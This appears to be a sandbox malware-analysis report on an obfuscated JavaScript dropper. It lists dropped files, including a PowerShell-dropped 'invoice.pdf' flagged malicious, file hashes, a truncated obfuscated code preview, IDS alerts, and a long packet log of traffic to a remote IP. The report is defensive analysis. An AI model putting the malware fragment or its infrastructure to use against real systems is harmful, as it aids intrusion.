Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d4973597-2239-4b84-8e46-9a14967089b2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15433), with CRLF line terminators
Entropy (8bit):	4.915912079249052
TrID:
File name:	1936930021252095876.js
File size:	18'861 bytes
MD5:	94e7a911bdbd1a310468e99b39fed37a
SHA1:	bddc751c6c3e2219634260cdb6dedff74d2b4fec
SHA256:	14d1c3f58be9a410ccb95fb562bdc0af7347bbe5924a069e1a6dc0d9fe1330c6
SHA512:	39df6c46c78db5a14bcf97b71c2d04808e4ff969c5a967356ea441fb4e7bf596d5c355f6b0d49cfbfcfa30454d8eeb70b13151cac48e56fca08c49257ef076e9
SSDEEP:	384:s2thpEG4hpZMhpkwi+yevgLQmZOx9JK1bDalrxVj1WIW9gXMQ2qa6h3C93T6Q+xr:5thpEG4hpZMhpkwcVLmK1bDalrxVj1WI
TLSH:	73826485861A234ED4D781E41CB8666A13FDE19C89F0146F5CC270DA473EDB5AAE33B8
File Content Preview:	function xyvqchjjn(){mvshlxdl=[1031,3079,5127,4103,2055,3072];var xowoyv=this[jlwxaewnc+odryvud+gkhjzaz+vsnbe+gcfrakrc+wamgeu+arljav+wsruzmd](this[buoyrhwai+zmmwfgxw+tzgfkbh+gkhjzaz+hhvloeru+jlwxaewnc+wsruzmd][kkjfp+gkhjzaz+gcfrakrc+odryvud+wsruzmd+gcfrak

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T17:07:15.364778+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T17:07:17.905444+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:07:14.560446024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:14.565249920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:14.565324068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:14.569546938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:14.574348927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364635944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364656925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364670992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364686012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364698887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364723921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364739895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364756107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364772081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364778042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.364789963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.364851952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.364878893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.369671106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.369688034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.369703054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.369750977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.408390999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.408410072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.408456087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.408520937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.408535004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.408560991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.452234983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.485177040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.485203028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.485289097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.485295057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.485308886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.485389948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.485481977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.485521078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.485567093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.485698938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.485713005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.485728025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.485760927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.486198902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486215115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486229897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486244917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486258984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486262083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.486334085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.486927986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486943007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486958981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486972094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486980915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.486994982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.487046957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.487708092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.487723112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.487741947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.487776041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.487828970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.498310089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.528116941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.528131008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.528186083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.528237104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.528260946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.528283119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.528292894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.528316975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.528336048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.576673031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.576688051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.576761007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.607121944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607139111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607155085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607172012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607186079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607201099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607269049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.607347965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.607433081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607486963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.607631922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607647896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607664108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607676983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607686043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.607692003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.607712984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.608374119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.608387947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.608403921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.608419895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.608438015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.608452082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.608468056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.608470917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.608483076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.608510971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.609487057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.609503984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.609536886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.609606981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.609622955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.609637976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.609657049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.609682083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.609744072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.609760046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.609775066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.609807014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.610939980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.610955000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.610970974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.610985041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.610985994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.611001968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.611016035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.611016989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.611052990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.611057043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.611078978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.611169100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.619589090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.619605064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.619652033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.619879007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.619893074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.619909048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.619924068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.619951010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.649173021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.649189949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.649204969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.649221897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.649238110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.649280071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.649343967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.649420023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.649485111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.649693966 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.698242903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.698257923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.698405981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.698421955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.698427916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.698577881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.728835106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.728851080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.728864908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.728879929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.728894949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.728909969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.728924990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.728966951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.728986025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.728991985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729006052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729022980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729038954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729059935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.729080915 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.729443073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729490042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.729639053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729655981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729671001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729686975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729695082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.729701996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729716063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.729727030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.729748964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.729779005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730303049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730346918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.730488062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730511904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730525970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730540037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730551958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.730554104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730568886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730581045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.730585098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730600119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730608940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.730616093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730629921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730643034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.730650902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730664968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730678082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.730679989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730696917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730703115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.730711937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730732918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.730942965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.730982065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.731034040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731049061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731064081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731077909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731089115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.731092930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731107950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731117964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.731122971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731149912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.731939077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731952906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731969118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.731983900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.732003927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.732012033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.732027054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.732042074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.732055902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.732069969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.732074976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.732095003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.732981920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.732996941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.733011961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.733026028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.733040094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.733042002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.733047009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.733057022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.733072042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.733083010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.733098030 CET	80	49704	193.143.1.205	192.168.2.8
